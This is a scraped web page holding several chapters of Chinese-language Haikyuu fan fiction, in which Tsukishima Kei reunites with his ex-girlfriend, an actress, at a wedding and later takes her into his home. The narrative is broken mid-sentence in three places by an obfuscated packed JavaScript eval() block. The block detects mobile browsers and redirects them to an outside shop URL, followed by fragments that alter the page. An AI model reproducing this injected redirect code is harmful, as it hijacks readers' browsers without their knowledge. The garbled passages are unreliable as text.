白石绘里替他解围：“毕竟缘分这件事强求不来，我也没有想到会在联谊上遇到明光。” 月岛明光同意：“没错，有时候真正的爱情来时是没有预兆的，就像我和绘里。” 月岛萤莫名其妙又被喂了一嘴狗粮。作为唯一的单身人士他明智地选择闭麦，不再引起纷争。可话题还是逐渐偏离到了他身上，四个人开始研究“萤没有女朋友到底是因为什么”，一时间笑声不断。 母亲叹气：“明明工作稳定长得也还不差，为什么遇不到合适的缘分呢？” 月岛明光：“萤挺受欢迎的吧？可在恋爱这件事上就毫无主动性了。” 白石绘里：“嘛嘛～单身也挺好的不是吗？” 母亲摇头：“果然还是因为说话太难听了吧，面对女生要多体贴点才行，可不能像和男生一样相处。” 月岛萤黑线：“……我知道。” 到底把他当成什么了？原始人吗？ 月岛明光和白石绘里相视一笑。 * 午餐后，母亲和白石绘里坐在沙发上讲话。月岛萤和月岛明光收拾完厨房的碗筷，走到院子里吹风。外面阳光很好，照在月岛明光意气风发的侧脸上。他还是和以前一样，拿着排球朝篮板上抛去练习手感，只是眉眼之间多了几分从容和坚定。 排球划出弧线，又稳稳落回月岛明光的手中。过了五分钟、球敲击篮板的声音停止，他转头看向站在一旁的月岛萤。 “萤，是有什么想问我的吗？” 月岛明光了解自家弟弟，月岛萤只有在抱有疑问或是欲言又止时才这样，用最拽的方式问出最别扭的话。不过成年后的月岛萤已经变得坦率了许多，至少和小时候相比。 月岛萤被点破心事后也并不心虚，习惯性地双手交叉站立：“快结婚了有什么感觉？” “怎么？羡慕了？” 月岛萤用鄙视的目光看了月岛明光一眼：“……只是好奇。” “一定要说的话……”月岛明光温柔看向落地窗里、正坐在沙发上眯眼笑着的白石绘里。他脸上是得偿所愿的圆满，敛去了曾经少年时的傲气。 “是我看到她，就会感到幸福。她笑的时候我会跟着开心，她哭的时候我会跟着难过。即便只是一些无聊的小事，也因为是和她一起做的而变得有趣。” “在绘里身边，我感受到了生活。” “抱歉，有些肉麻了吧。”月岛明光说完才觉得不好意思，他摸了摸自己的脖子，继续补充。 “不过我相信，萤你有一天也会遇到这样的人。就像我刚刚说的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852017|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真正的爱情降临时不会有预兆，所以你一定要牢牢把握住才行啊。” 月岛萤没想到月岛明光会说得那么真诚，他也微微正经了神色：“可怎么能确定、就是这个人？” 月岛明光却将排球抛给他，神秘道：“你会知道的。” 看着手中的排球，月岛萤沉思了一会儿。 工作、练习、比赛，这些已经将他的生活填满。恋爱对现在的他来说不是必需品，甚至他也没有十足的把握去面对亲密的情侣关系。 大学时月岛萤帮关系好的同学撑场面，也被撺掇着去过一次联谊会。他记得那好像是个家庭餐厅，所有人坐在长桌的两端、羞涩地进行自我介绍，就他显得像个事不关己的局外人。对面女生问他问题，月岛萤只能一板一眼地进行回答、全身不自在。于是硬熬到了最后，直到叫他来的同学牵手成功、准备开第二趴和女生单独约会了，这才得以脱身。 麻烦。 他当时再次感觉到了麻烦。 月岛萤只是感到不解，恋爱有什么意义呢？ 付出时间与全部真心，再被践踏在地上。就算能走到结婚又如何？结婚了也能离婚，遇到真爱的机率太低了，毕竟地球上有82亿人。一群人坐在餐厅里，以求偶为目的吃着无聊的饭，像推销一样吹嘘自己，简直无聊透顶。 可回到现在。 月岛明光和白石绘里又是在他嗤之以鼻的联谊上遇到的彼此，他能看出他们彼此相爱，不是所谓的快餐爱情。 他们是如此幸福。 * 月岛明光和白石绘里在下午离开，他们开了车来，还贴心地问月岛萤要不要载他一程。 月岛明光：“真的不坐我车回去？” 月岛萤：“不用了，我等下直接去训练。” 他可不想当电灯泡。 和父母告别后，月岛萤就动身前往体育馆。 天气不错，他准备先绕路去仙台站边的体育用品商店购买用完的手指绷带。人潮攒动，街道上的药妆店打起促销广告。伴随着广告曲洗脑的旋律，在嘈杂的环境中，月岛萤却清楚听见了行李箱轮子滚动的声音。 咔哒、咔哒、咔哒。 每经过一道砖缝，就重复叩响一次。 月岛萤几乎是下意识地回头。 视野中出现一个女生清瘦的背影。戴着黑色鸭舌帽，穿着宽松的连衣裙，长卷发被松松扎成一个低丸子、还有几缕散了出来垂在耳边。她正费力地拖着那只巨大的行李箱走远，丝毫没有注意到背后的视线。 世界变成了文艺片里的慢镜头。 背影轮廓在逆光中晕开，仿佛下一秒就要消散。直到她越走越远，月岛萤才回过神。 没有任何理由的，他知道那个人是北里悠花。 “真正的爱情降临时没有预兆。” 脑海里出现了月岛明光和他说的这句话，可月岛萤还是固执地站在原地，不愿承认时隔六年、自己还是会因为对方而产生愚蠢的情绪波动。 43.43. 北里悠花在新戏杀青后来到宫城，顺便给自己放了三周的假。 并没有准备太多，一只行李箱就是带来的全部。她住在靠近仙台站的酒店，去哪里都很方便。 闲下来反倒没什么事做，在床上昏天黑地睡了两天。第三天北里悠花到乌野高校门口转了圈，一路往上走，看见举办夏日祭的神社与河流、还有她以前住的塔楼。房子早已搬进新的住户，这回她成了格格不入的外来者。 第四天她去美容院做了美容，顺便将指甲涂上粉色。第五天上午购置了婚礼的服装和礼物，下午和星野杏、村上由奈约在咖啡馆见了一面。 多年过去，三人却并没有什么隔阂。北里悠花将礼物递给好友们，坐下聊了聊各自的近况、工作和生活。除了星野杏这个准已婚人士外，村上由奈在宫城县的大手银行就职、年薪十分可观。 “不愧是由奈，竟然能在这家银行就职。我之前刷到过报道，好像新卒的录取率是千分之一吧。”北里悠花并不吝啬自己的赞美。 “没错没错，能在那么激烈的竞争中被选上，由奈真的很了不起。”星野杏也进行肯定。 村上由奈被夸得不好意思，摆手道：“哪有那么夸张啦，纯粹是我运气好。我们班上人才济济，大家都很厉害。” 北里悠花竖起了耳朵，表现出好奇的模样来：“太久没联系了，大家现在都在干什么呀？” 星野杏掰着手指数：“佐佐木同学在当主播哦，山口同学在家电公司当营业，桥本同学在制造业公司当技术……” 村上由奈接着说：“要说厉害的话，果然还是月岛同学吧。听说他不仅大四就拿到了仙台博物馆的内定offer，还在仙台蛙继续当副攻手打职业比赛呢。” “天呐，大家都好优秀。” 得到想要的答案，北里悠花搅动冰块、喝了口咖啡。 “不过最出名的还是悠花你啦，我没有想到自己还能和艺人做朋友。” “我也是我也是！” “……” * 第八天迎来了婚礼。 星野杏婚礼的挙式在教堂举行。 教堂通体为纯洁的白色，外墙花纹繁复、十字架高高矗立在最顶端。穹顶的天窗将阳光尽数洒进室内，落在卡萨布兰卡百合上。每位宾客的椅背上都精心装点了玫瑰与常青藤，一片盎然生机。 北里悠花戴着口罩，穿着低调的杏色礼裙匆匆走入场内找到座位。星野杏将她的位置安排在后面，因此并不引人注目。 她看到不少高中时期的熟面孔，简直像场小型的同学聚会。佐佐木同学依旧能量十足，以他为中心聚集了一群老同学、正讲着这对新人以前的旧事。村上由奈注意到北里悠花进场，隔着很远朝她点点头、算是打了招呼。 山口忠坐在她的前两排，而坐在他身边的、是月岛萤。 北里悠花的呼吸有一瞬间的停滞，伸手摘下了脸上的口罩。 山口忠大概说了些玩笑话，月岛萤露出一个带着笑意的侧脸来。 成年后他的轮廓没怎么变，只是更加利落俊朗了些。头发比之前长了，穿着黑色西装颇有种贵族公子哥的感觉。 此时牧师出现。 他走至台前，庄严地说道： “请全体起立、转身，并给予最温暖的掌声。” “现在，让我们欢迎今天的新郎与新娘，步入神圣的婚礼殿堂。” 教堂内的音乐变换，钢琴师弹奏起《婚礼进行曲》，唱诗班吟唱出圣洁的旋律。在万众瞩目之下，教堂的大门随之打开，星野杏挽着新郎的手臂缓慢走入场中。蕾丝款的拖尾婚纱美丽无比，她脸上满溢出幸福。 北里悠花在这时转头，与转过身的月岛萤对视。她毫不避讳地看着他，又露出一个笑来。 然后用口型对月岛萤说： “好久不见。” 久别重逢，一般有两种情形： 一种是干柴烈火，一种是冷眼相对。 很显然，他们属于后者。 月岛萤并没有给北里悠花什么表情。 神色淡淡，目光只在她身上停留了几秒就移开、仿佛根本不记得她是谁。他跟着所有人鼓掌，又很快转回去、观看之后的仪式环节。 他还是和以前一样，变回了那个冷漠无比的月岛萤。 北里悠花并不在意。 仪式继续进行，新人站在圣坛前。 “你愿意娶这个女人吗？爱她、忠诚于她，无论她贫困、患病或者残疾，直至死亡。你愿意吗?” “是的，我愿意。” “你愿意嫁给这个男人吗？爱他、忠诚于他，无论他贫困、患病或者残疾，直至死亡。你愿意吗？” “我愿意。” 北里悠花看着新人念出一生的誓言、互换戒指，最后在祝福与掌声中亲吻彼此。星野杏红了眼眶，场下也不乏有人拿着手帕一起抹眼泪。 在北里悠花的记忆里，星野杏永远是那个开学时会主动来和她搭话，说“我一直有给你比赛投票”的少女，可今天对方已然变成了幸福的新娘。身处教堂之中，作为坚定唯物主义者的北里悠花不免心生感慨。 随后新人退场，所有宾客拿着花瓣洒向新人、以表祝福。大家跟着他们走向教堂外进行大合影，恰好天空中有成群的白鸽展翅飞过，欢声笑语间、新人被簇拥到最中心的位置。 “天呐……你，你是北里悠花吗？！” 有女生认出了她，北里悠花点点头露出善意的微笑。 “是我。” “我、我超喜欢你演的电视剧的！等下可以和你合影吗？！！” “当然可以，不过我们现在快去拍大合照吧。” 北里悠花并不想影响婚礼，快速岔开话题。她拉着满脸通红的女生站到人堆里，又环顾一圈、自己往后方移动。 月岛萤和山口忠都很高，正站在最后一排，北里悠花于是也在月岛萤身边的空位站定。 “我可以站这里嘛？” 她明知故问。 月岛萤没有理会她。 北里悠花早就预料到了他会无视自己，所以和从前一样、拉了拉月岛萤的衣角，脸上还是一片平和地看向镜头。 摄影师在指挥所有人的站位，闹哄哄的，大家手忙脚乱地调整自己的位置。 而北里悠花用只有他们才能听清的声音问： “为什么不理我？” 北里悠花几乎能感受到月岛萤的体温。 他身上喷了男士淡香，很适合他。他们好久都没有靠得那么近了，今天竟然光明正大地在镜头下留下合照。 “刚刚离得远都没有发现，萤君是不是一米九了呀～感觉比以前高了好多。” 北里悠花还是用着亲密的称呼，自顾自地上演独角戏，好像他们从没有分开过。她今天穿了细高跟，看上去仍然矮了月岛萤一大截。 月岛萤垂眼，看着北里悠花长长的睫毛。 他不明白北里悠花的用意。他们已经分手了，不是六天、也不是六个月，而是六年。 整整空白的六年，他们都没有参与过彼此的人生，现在还有必要叙旧吗？还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16869817|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，她有和前任当朋友的习惯？ 反正他没有。 月岛萤面色不改：“我们应该不是可以叙旧的关系。” 闻言，北里悠花的撒娇张口就来：“好冷漠！QAQ” 她又更靠近了月岛萤一些。 “可是，我很想你呀。” 北里悠花的话半真半假。 摄影师终于开拍，他们朝着镜头露出微笑。闪光灯亮起，定格在月岛萤略显僵硬的表情上。 因为此时隐藏在前排人的遮挡之下，北里悠花故意伸出手，慢慢地、勾住了月岛萤的小指。 * 合照结束，宾客们一起移动至披露宴的场所。山口忠见月岛萤仍站在原地不动，问道：“阿月，你不走吗？” “我等个人。” “等谁啊？” 月岛萤不屑：“女明星。” “？” 这边北里悠花和刚刚的女生拍完合照，才发现教堂外已经不剩什么人了，只有月岛萤还站在门口。 他是在等她。 北里悠花并不奇怪他在这里等着，毕竟自己刚才的举动太过出格，这位自尊心极高的少爷必定不能忍受前女友的再一次戏弄，要来弄清原因。 她凑上前：“萤君怎么没和山口君一起过去啊？是在等我嘛？” 月岛萤没有回答，只是冷冷质问道：“有意思么？” 他的眼神却很平静，透过薄薄的镜片，甚至看不出一丝愤怒的痕迹。 北里悠花依旧朝他微笑：“我不懂萤君在说什么。我们快走吧，披露宴等下就要开始了。” 月岛萤见北里悠花一副装傻到底的样子，干脆一把拉住打算往前走的她：“回答我。” “……” 北里悠花停下动作，她不明白月岛萤为什么要纠结于她的回答不放，看了看他抓着自己的手、无奈说道。 “……有意思啊。即便我睡完你就把你甩了、差劲到了极点，可是一看到萤君不能抗拒我的样子，我就觉得很有意思啊。” 听着她的这番渣女发言，月岛萤拉住她的手掌渐渐用力。北里悠花想，自己被他捏住的地方大概已经红了。 可她还是继续补充，往月岛萤的尊严上狠狠践踏。 “都是成年人了，我今天为什么这样做，你难道不知道为什么吗？。” “没关系，我可以再跟萤君说一遍。简单来说，就是今天见到你以后，我发现我还是喜欢你，所以想和你复合。” 北里悠花做出吃痛的样子、摸了摸自己被抓着的手臂：“说完了，可以松开我了吗？好痛哦。” 月岛萤松开手，却并没有被她挑衅的言语激怒，反而居高临下地问她：“北里悠花，你凭什么认为我还会像以前一样喜欢你？” 是啊，凭什么呢？ 其实最初北里悠花的确没有十足的把握。但当见到月岛萤之后，她就知道自己赢了。 刚才勾住他手指时，月岛萤虽然抗拒、但也并没有挣脱。即便她已经把话说到这个难听的地步，对方还是狠不下心凶她。月岛萤是个清高的人，如果有女朋友或是真的讨厌她，肯定不能容忍这些小动作。 北里悠花笑着说：“凭我的直觉呀。” 她做了盘发造型，光滑细腻的脖子上、戴着一条闪着银色光泽的微笑项链——正是月岛萤在高二的圣诞节送给她的礼物。 她知道月岛萤肯定注意到了。 “好了，我们别在这里待着了，有话等婚礼结束了之后再说吧。” 北里悠花朝月岛萤眨了眨眼睛。 44.44. 披露宴的地点在距离不远的五星级酒店。 北里悠花和月岛萤一前一后走着，两人好似一对离了婚的夫妻。直到宴会厅门前，月岛萤才开了尊口：“你先进去吧。” 北里悠花下巴微抬：“怎么？怕被别人看到我们一起进去吗？” 月岛萤不咸不淡：“你要这么想也可以。” “我偏不。”北里悠花耸耸肩，“我还蛮想和排球选手传绯闻的。” “可我不想。” “好吧，那等下结束之后你在门口等下我哦。” 说罢北里悠花也不听月岛萤的回答，便踩着高跟鞋脚下生风、拎着高贵黑色小羊皮包走了进去。 * 宴会厅装点着盛开的鲜花，绿植和原木色调充斥整个空间。 月岛萤并没有和北里悠花坐在一起。他进场时北里悠花已经在隔壁桌的友人席落座，正被簇拥在中心、享受着同学们的吹捧。 佐佐木同学做出浮夸的迷弟模样：“没想到我这辈子还能活着见到北里同学！” 北里悠花立刻被他逗笑，捂着嘴说：“佐佐木同学，你演太过了啦。” “悠花你真的好火啊！我昨天才跟同事炫耀我的同学是女演员呢。” “我也一直有买你代言的美瞳和巧克力！” “你上次拍的广告也超美的！！！” “……” 两桌距离不远，这些奉承话一字不落地进了月岛萤的耳朵。明明刚才还在他面前蛮不讲理、像只吵闹的麻雀，现在又装得人畜无害。 想到这，月岛萤收回眼神。 他这桌的高中同学们讲着几百年前的陈年旧事——老掉牙三件套：学园祭、运动会、修学旅行。那些泛黄岁月里的共同回忆，似乎只有在见识到世界的残酷后才觉得可贵。 同学A与他搭话：“听说月岛同学在博物馆工作？太强了。” 月岛萤没什么情绪地回答：“只是普通职员而已。” 同学A望天：“可恶啊，真羡慕你这种头脑好的人！” 同学B举起高脚杯，想与他碰杯：“我去年看了仙台蛙的比赛，打得真不错。” 同学C跟着举杯：“国家队的影山和日向不都是月岛当年的队友吗，当年春高我还去给你们应援了呢！现在想想真是青春啊。” 月岛萤只是拿起果汁杯碰了下：“谢谢支持。不过我今天开了车来，就不喝酒了。” 坐在他旁边的山口忠听到月岛萤敷衍的回复，尴尬笑了笑。为了活跃气氛山口忠与A君攀谈起来，最后还交换了张名片。 每个人都晃动着杯里的红酒逢场社交，曾经稚嫩青涩的脸忽而就写满了成年人的疲惫。月岛萤与这些人私交不深，也没什么继续交流的想法。 大概是他太无趣，话题不知怎么回事又回到了北里悠花身上，大家显然还是对女演员的花边新闻更感兴趣。 同学A压低了声音：“我之前有刷到，北里同学好像和东京的一个财阀公子哥在一起了，还被拍到了牵手照……” 同学B附和道：“我也看到过，那张照片拍得还怪有氛围感的。不过我朋友在杂志社工作，说他们好像前几个月已经分手了。” 同学C惊讶：“天呐，我还停留在她和那个男明星在一起的阶段。” 同学A：“噗，那个早就是过去式了，你网速太慢了！” 同学B：“贵圈真乱。” 同学C：“好可怕！” 这几个人实在太吵。 月岛萤的眸光沉了沉，灯光在他轮廓分明的侧脸上投下小片阴影，让他看起来像是坐在一个隔音的玻璃罩里。 指尖触碰到冰凉的杯壁，却没有驱散心头的燥意。 月岛萤以为自己早就不受北里悠花的影响，可一想到方才北里悠花对他说出那句“我发现我还是喜欢你，所以想和你复合”时，还是觉得十分滑稽。 北里悠花的喜欢太廉价了。 星野杏换了主纱入场，全场的灯光变暗，大家都默契地闭上了嘴。聚光灯追随着新人的脚步来到台前，这才总算开始了正式的披露宴。 月岛萤看了一眼北里悠花。 她看得很认真，正用真挚的表情注视着星野杏，眼底还泛着泪光。 嗯，她的眼泪也很廉价。 * 婚礼流程并不长，餐点是单人份的法餐，北里悠花没什么胃口、胡乱塞了点。随着一声又一声的“干杯”，高中同学都有些喝嗨、开始大肆回忆起往昔。北里悠花也跟着喝了点酒，脸颊升温。 之后被同学们抓着合影，又和星野杏聊了一会儿天，真正离开时已经很晚。 北里悠花走出酒店大门，在酒精的作用下、身体十分温暖。隔着门，热闹的聚会声音还在耳边不断徘徊。长长的车辆尾灯呼啸而过，又留下两个站在原地的影子。 月岛萤倚在酒店门口一根巨大的廊柱旁，手指在手机屏幕上无意义地滑动。 “久等啦！”北里悠花朝他走去，“我还以为萤君已经回去了呢。” 月岛萤收起手机，看向她红红的脸：“……不是你叫我等你？” “因为很晚了嘛～没想到你真的会等我。好啦好啦，萤君怎么回去？” “开车。” “哦，那你送我回酒店吧，我们顺路。”北里悠花已经迈步走向了停车场的方向，生怕月岛萤拒绝、她在前面走得很快，高跟鞋不断敲击地面。 月岛萤：“？” 不过月岛萤并没有拒绝送她回去，有些话他也想在今晚讲清楚。 月岛萤开的是一辆线条利落的黑色丰田，北里悠花看见闪烁的头灯，就打开车门自然地坐进副驾。她好奇地看了一圈，车内没有多余的装饰，在封闭的空间里独处难得有些紧张。 见月岛萤坐在驾驶位，北里悠花笑盈盈地说：“我还是第一次看萤君开车诶，好神奇。我们在一起的时候还是高中生，现在都变成大人了呢。” “嗯。”月岛萤没有多言，“酒店地址。” “其实。”北里悠花并没有回答，反而忽然开口，声音在静谧中显得格外清晰，“刚才他们说的那些，大部分都不是真的。” 月岛萤准备发动汽车的手一顿：“你听到了？” 北里悠花无奈：“听到一点，他们的嗓门太大了，很难不在意。让我猜猜，无非就是在说我的八卦吧……都是些添油加醋的报道，这些记者老是乱写。” 月岛萤：“你不用和我解释。” “可我想说。”北里悠花固执地接道，语气中带着不易察觉的任性，“我唯独不想让萤君误会。” “之前爆料的男明星是我合作过的前辈，只是一起吃饭就被拍了。当天现场还有好多人在，我没和他交往过。和萤君分手后我确实谈过恋爱，但也是抱着认真的心情的。” “……分手是真的，不过那是去年的事了。” “还有对不起，当年我离开得太草率。” “我知道我很坏，可是你还能再喜欢我一下下么？就跟以前一样。” 北里悠花的独角戏终于唱到了尾声。 月岛萤靠在椅背上，他和停止喋喋不休的北里悠花四目相对。北里悠花突然觉得成年后的月岛萤十分陌生，高中时还能偶尔猜到他在想什么，可在经过了那么长时间的分开后，她确实对他已经一无所知。 月岛萤突然笑了笑，他从未想过有一天会对北里悠花说这些： “还喜欢我？是因为那位东京的公子哥同学把你甩了么？恰好在空窗期的你收到了请柬，才一时兴起想起我这个前男友。” “让我猜猜，你们分手的原因大概是对方家里看不上你吧。毕竟宫城县这个地方，连你自己都看不起，更别说高贵的东京人了。” 月岛萤也看过网上的八卦新闻。 那些过往零碎的片段在月岛萤的脑中闪过，是他在某天上网时，发现北里悠花已经谈了恋爱。报道里有她和对方十指紧扣的照片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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北里悠花的眼泪毫无征兆地掉了下来，是很完美的哭戏、还掺杂着几分真实的悲伤情绪。她扭头看向车窗外，不再为自己辩解一句话。 月岛萤就这样看着北里悠花哭泣，他的手放在方向盘上。 可是他又最讨厌北里悠花哭。 “哭什么。” 北里悠花一哭，他就烦。 哪怕是装的。 “不要你管！我自己回去了。”见月岛萤率先发话，北里悠花戏精附体、作势要拉开车门离开。 注意到她慢吞吞的动作，月岛萤就知道她只是在和自己闹脾气。他伸手按住北里悠花的手：“……酒店地址。” “不告诉你。” “很晚了，我送你回去。” “……你刚刚说得太过分了。” “好，对不起。现在可以告诉我酒店地址了吗？” 月岛萤只想尽快解决这个麻烦，对答如流。北里悠花听到他的道歉，立马乖乖坐好，流畅地报出一串地址。 月岛萤开车很稳，借着酒意、再加上刚刚又胡闹了一番，北里悠花昏昏沉沉闭上了眼睛。 睁眼已经到达目的地，月岛萤没有叫醒他、只是站在车外面不知道在想些什么。 北里悠花拿着包下车，晚风让她清醒不少：“谢谢你送我回来。” 北里悠花站在月岛萤面前，直视他的眼睛：“在我看来，分手之后和别人谈恋爱很正常，六年过去了，萤君也肯定有喜欢过别人吧？虽然不知道你现在的想法，但至少我现在很确定，我对你不是没有喜欢。” “萤君呢？你敢说自己对我没有一点点喜欢吗？” 月岛萤眼底有很多她读不懂的情绪。他只是深深地看着她，沉默半晌、才说： “悠花，我和你不一样。” 时隔那么多年，他再次叫她“悠花”。月岛萤发现，这并没有他想象中的那般困难。他很熟悉这个名字的音调、和叫她时该使用的语气。 “哪里不一样？” 月岛萤还是沉默地看着北里悠花，却没有说出后面的话。刚刚在车外冷静了一会儿，他终于理清了自己的想法。 他和北里悠花不一样。 他没有再喜欢别人，也不会去喜欢。 “上去吧。” 45.45. 月岛萤留下这句话后便驱车离开。 鼻腔里还混杂着淡淡酒气，夜里的风有些冷，北里悠花抱紧手臂看向尾灯湮灭的方向、看起来像一尊没有感情的雕像。本来还想耍赖直接把月岛萤拐回房间的，但是刚刚他说得那样决绝、反倒不好开口了。 不过……今晚也不是全无收获。 LINE的好友申请终于通过，一个顶着黑色乌鸦头像的账号发来新消息，北里悠花给他更改了备注：【山口忠】。 山口忠： 「诶？北里同学？！」 北里悠花一边哼着旋律走进酒店电梯，一边回复他的消息。 Yuuka： 「是我～好久不见呀山口同学，今天婚礼上人太多没来得及和你打招呼，所以我问由奈要了你的联系方式^-^」 「之前的LINE在高中之后就废弃啦，这是我的新帐号。」 山口忠： 「说实话看到好友申请吓了一跳。」 「不过北里同学加我，是为了阿月的事情吧？」 山口忠是个聪明人。 能直截了当地问，说明他已经基本猜到她和月岛萤的关系、那她也没有必要再隐藏什么。 Yuuka： 「是的哦。其实我和萤君之前交往过一年多来着，还在夏日祭上偶遇过你呢（笑）」 山口忠： 「哈…那天晚上原来是北里同学啊。」 Yuuka： 「那我也不绕弯子啦。」 「能麻烦你把萤君现在的住址发给我吗？我打算和他复合^ω^」 深夜。 仍旧处于震惊状态的山口忠看着源源不断发来的消息、和那个嘲讽的微笑唇颜文字，差点没把手机倒扣在桌面上。 北里悠花这些话说得太自然，自然到仿佛月岛萤本来就是她的所有物。 所以、今天阿月口中的女明星果然就是北里同学！ 不仅如此，北里同学还打算和阿月复合？！！ 一切的疑惑在今晚终于有了答案。 怪不得夏日祭时她不摘面具也不自我介绍、怪不得阿月从来不给他们看女朋友的照片、怪不得在那两个人渣学弟说北里同学坏话时阿月没忍住出手揍对方。 合着这两人早就暗通款曲了，甚至还在高中交往了足足一年多！那他之前一遍遍给自己洗脑、说他们只是高中时期的好朋友算什么？算他人好？！ 但山口忠还是选择誓死捍卫好友的隐私。 山口忠： 「北里同学，阿月的事情我可能没办法代他做决定，抱歉。」 「如果你们之间真的还有需要说的话，我想，直接去问他本人会更好。」 几乎在同时，对方另一条消息追了过来。 Yuuka： 「知道啦，山口同学还是一如既往地体贴呢。」 「不过我可以好奇下，萤君这些年有交过女朋友嘛～这应该可以说吧(^^)」 住址不可以给，是阿月的个人隐私。 但是交没交过女朋友，稍微打听下就能知道，应该不要紧吧？ 想到这，过去无数可爱女生向他打听月岛萤消息的场面又浮现在眼前。 从小到大、山口忠一直都在八卦的最前线驻守。异性大都被月岛萤的皮囊所吸引，然后因为他不留情面的说话方式、和被排球填满的生活选择放弃。对此月岛萤表现得无甚所谓，恋爱对他来说不是必选项。 阿月在恋爱方面的情绪波动，似乎只和北里同学有关。 但是偶尔的情绪波动、不也挺有趣的吗？ 经过短暂的五秒纠结，深藏功与名的山口忠很快将幼驯染的恋爱经历双手奉上。 山口忠： 「据我所知，没有。」 如她所料。 得到满意的回复，北里悠花这天晚上睡了个好觉。 * 又是万恶的周一，加了会儿班的社畜月岛萤在低气压中结束了工作。 职场最讲究年功序列，月岛萤的日常工作虽然不算复杂，但在严格的等级制度之下，他和后辈小川形成了一带一的前后辈捆绑关系、目前看来没个两三年解不了绑。 小川不像影山和日向，可以随便骂。 小川贴错excel的基础函数导致展品数量误差，只能忍。 好不容易到了下班时间，刚走到停车场、月岛萤却看见一个不合时宜的身影出现在他的车边。 在灰暗的世界里，她成了唯一的亮色。跟西装革履的人群鲜明区分开，带来充足的、近乎奢侈的氧气。 北里悠花正坐在一个巨大的行李箱上——正是月岛萤那天看到她在仙台站拖着的那个。 她的伪装手段一如既往地拙劣，帽子、黑框眼镜、口罩，把脸遮了个严严实实。 见到月岛萤出来，北里悠花立即开心地站直了身子。 凭借着前几天月岛萤送她回来的记忆，她顺利在停车场找到了那辆黑色轿车。但因为月岛萤还没下班，她只能一个人坐在行李箱上干等。 北里悠花拉长了音开口：“你怎么才下班呀，今天是加班了嘛？我都等了好久啦～” “你为什么会在这里？” “哎，其实……”北里悠花假装叹了口气，看上去十分悲伤，“昨天我回酒店的时候被人认出来了，再住在那里就不太方便了。” 月岛萤眯起眼睛：“所以？” 北里悠花摘下眼镜，露出那双带着狡黠笑意的眼睛，双手合十：“我现在无家可归了。萤君能不能收留我两周？两周后我就回东京！” 他还没蠢到会相信北里悠花的话。 周围和他一起下班的同事已经放慢脚步，偷偷投来好奇的目光。月岛萤能感觉到小川就在不远处探头探脑，就差没把“八卦”两个字写在脸上。 “……先别站在这里。”太阳穴隐隐跳动，强压怒火的月岛萤松了松领带、一把拿过她的行李快步往前走。 北里悠花欣赏着月岛萤的背影，忍不住偷笑。她还是第一次看月岛萤这副社会人的模样，衬衫领带、宽肩窄腰，简直完美。 “萤君走慢一点啦。” “我们要去哪里呀？为什么不上车啊！不是回你家嘛？” “？怎么可能。” “当然是给你找个新的酒店住。” 月岛萤头也不回地走在前面：“博物馆旁边有家安静的商务酒店，五分钟就能走到，我现在送你过去。” “诶——不要嘛。”月岛萤步子太大、北里悠花只能小跑着跟上，“我可是当红女艺人诶，一个人住很不安全的，万一有变态怎么办？而且我都好久没回来了，对这里人生地不熟的，还不如直接去你家呢……” 不安全？人生地不熟？ 月岛萤懒得拆穿她拙劣的谎言，那么多话弯弯绕绕只有一个意思——女明星要和他一起住。 月岛萤突然停住脚步，转身审视北里悠花：“去我家？我没有让前女友住在我家的癖好。” “所以呀。”北里悠花歪了歪头，仿佛一切尽在掌握之中。唯独对待月岛萤时她习惯张牙舞爪，从不掩藏自己的坏心思。 “反正我只是个前女友、而且萤君已经不喜欢我了，那住在你家不就是最好的选择吗？” “还是说，月岛先生其实对我余情未了？” “如果被曝光会是什么后果，你应该比我清楚。” “放心吧，我会戴好帽子口罩，肯定不会被拍到的！” 当然、被拍到更好。她还可以顺势承认恋情。 北里悠花的歪理无人能敌。 “好不好嘛～好不好嘛～” 她步伐轻快，当着月岛萤的跟屁虫。 “……” 月岛萤没有回答，拉着行李箱的指节微微泛白。远处电车进站的提示音机械刺耳，心烦意乱之间，月岛萤重新迈开脚步、却调转了方向往回走。 他把北里悠花的行李箱扔进后备箱，丢下两个字： “上车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925116|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” * 月岛萤住的公寓是一栋精修的新筑。 装修简单舒适，物品被归置得严丝合缝。 北里悠花站在玄关好奇地四处打量，这里的每一处都留下了他生活的痕迹——咖啡机、玻璃杯、窗台上的绿植、客厅的灰色沙发、矮桌边的排球。 “进来吧。”月岛萤给北里悠花拿了一双新的拖鞋，“你可以住左边的客房，旁边就是浴室。” 看来排球运动员赚得挺多，连公寓都那么大。 北里悠花换上拖鞋，暗暗想道。 